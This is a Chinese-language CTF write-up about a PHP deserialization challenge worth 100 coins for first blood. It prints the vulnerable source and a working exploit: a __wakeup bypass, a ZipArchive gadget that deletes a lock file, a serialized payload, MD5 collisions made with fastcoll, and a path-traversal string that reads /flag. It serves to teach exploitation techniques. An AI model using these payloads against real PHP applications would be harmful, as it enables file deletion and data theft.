一血价值100金币的题目
<?php
error_reporting(0);
ini_set("display_errors","Off");
class Jesen {
public $filename;
public $content;
public $me;
function __wakeup(){
$this->me = new Ctf();
}
function __destruct() {
$this->me->open($this->filename,$this->content);
}
}
class Ctf {
function __toString() {
return "die";
}
function open($filename, $content){
if(!file_get_contents("./sandbox/lock.lock")){
echo file_get_contents(substr($_POST['b'],0,30));
die();
}else{
file_put_contents("./sandbox/".md5($filename.time()),$content);
die("or you can guess the final filename?");
}
}
}
if(!isset($_POST['a'])){
highlight_file(__FILE__);
die();
}else{
if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a']))){
unserialize($_POST['c']);
}
首先看到有反序列化函数,还是一道考察反序列化漏洞的题目。
Jesen类中,__wakeup函数创建Ctf对象,接着调用其中的open函数。
Ctf类中,open函数会通过判断sandbox目录下是否有lock.lock文件,来进入不同的分支。直接看下面那个分支,
file_put_contents("./sandbox/".md5($filename.time()),$content);
$content是我们可以控制的,$filename也是可以控制的,但是time()值是不可控的,总不能直接猜文件名,所以正确的路子应该是想办法删掉sandbox下的lock.lock文件,通过file_get_contents函数来读取到flag。
Jesen类当中,wakeup实例化一个对象Ctf,并赋值给me变量,destruct函数调用me->open()函数,也就是Ctf类的open函数。但是我们知道,__wakeup函数是可以绕过的,这么一来,$me的值也可以控制了,可以把他赋值为任意一个对象,并调用其open方法,这么一来,删除lock.lock就有可能了,剩下来的就是想办法找到符合条件的对象。
当然最后还是没找到,看了大佬的wp,才知道还有个ZipArchive可以用。
public ZipArchive::open ( string $filename , int $flags = 0 ) : bool|int
当$flags为ZipArchive::OVERWRITE
时,就可以达到删除文件的目的。
条件充足,接下来构造payload:
<?php
class Jesen {
public $filename='./sandbox/lock.lock';
public $content=8;
public $me;
}
$a = new Jesen();
$zip = new ZipArchive();
$a->me = $zip;
$b=serialize($a);
echo $b;
得到Jesen的序列化字符串,
O:5:"Jesen":3:{s:8:"filename";s:19:"./sandbox/lock.lock";s:7:"content";i:8;s:2:"me";O:10:"ZipArchive":5:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}}
因为还需要绕过__wakeup函数,所以把O:5:"Jesen":3:
改为O:5:"Jesen":4:
。
接着使用fastcoll来创建两个md5值相同的文件,并且内容为flag的路径
flag.txt:
/../../../../../../../..//flag
fastcoll.exe -p flag.txt
将生成的两个文件进行url编码,使用burpsuit提交,在去访问/sandbox/lock.lock,就会发现返回404。
接着再把序列化字符串改回来,就可以拿到flag了。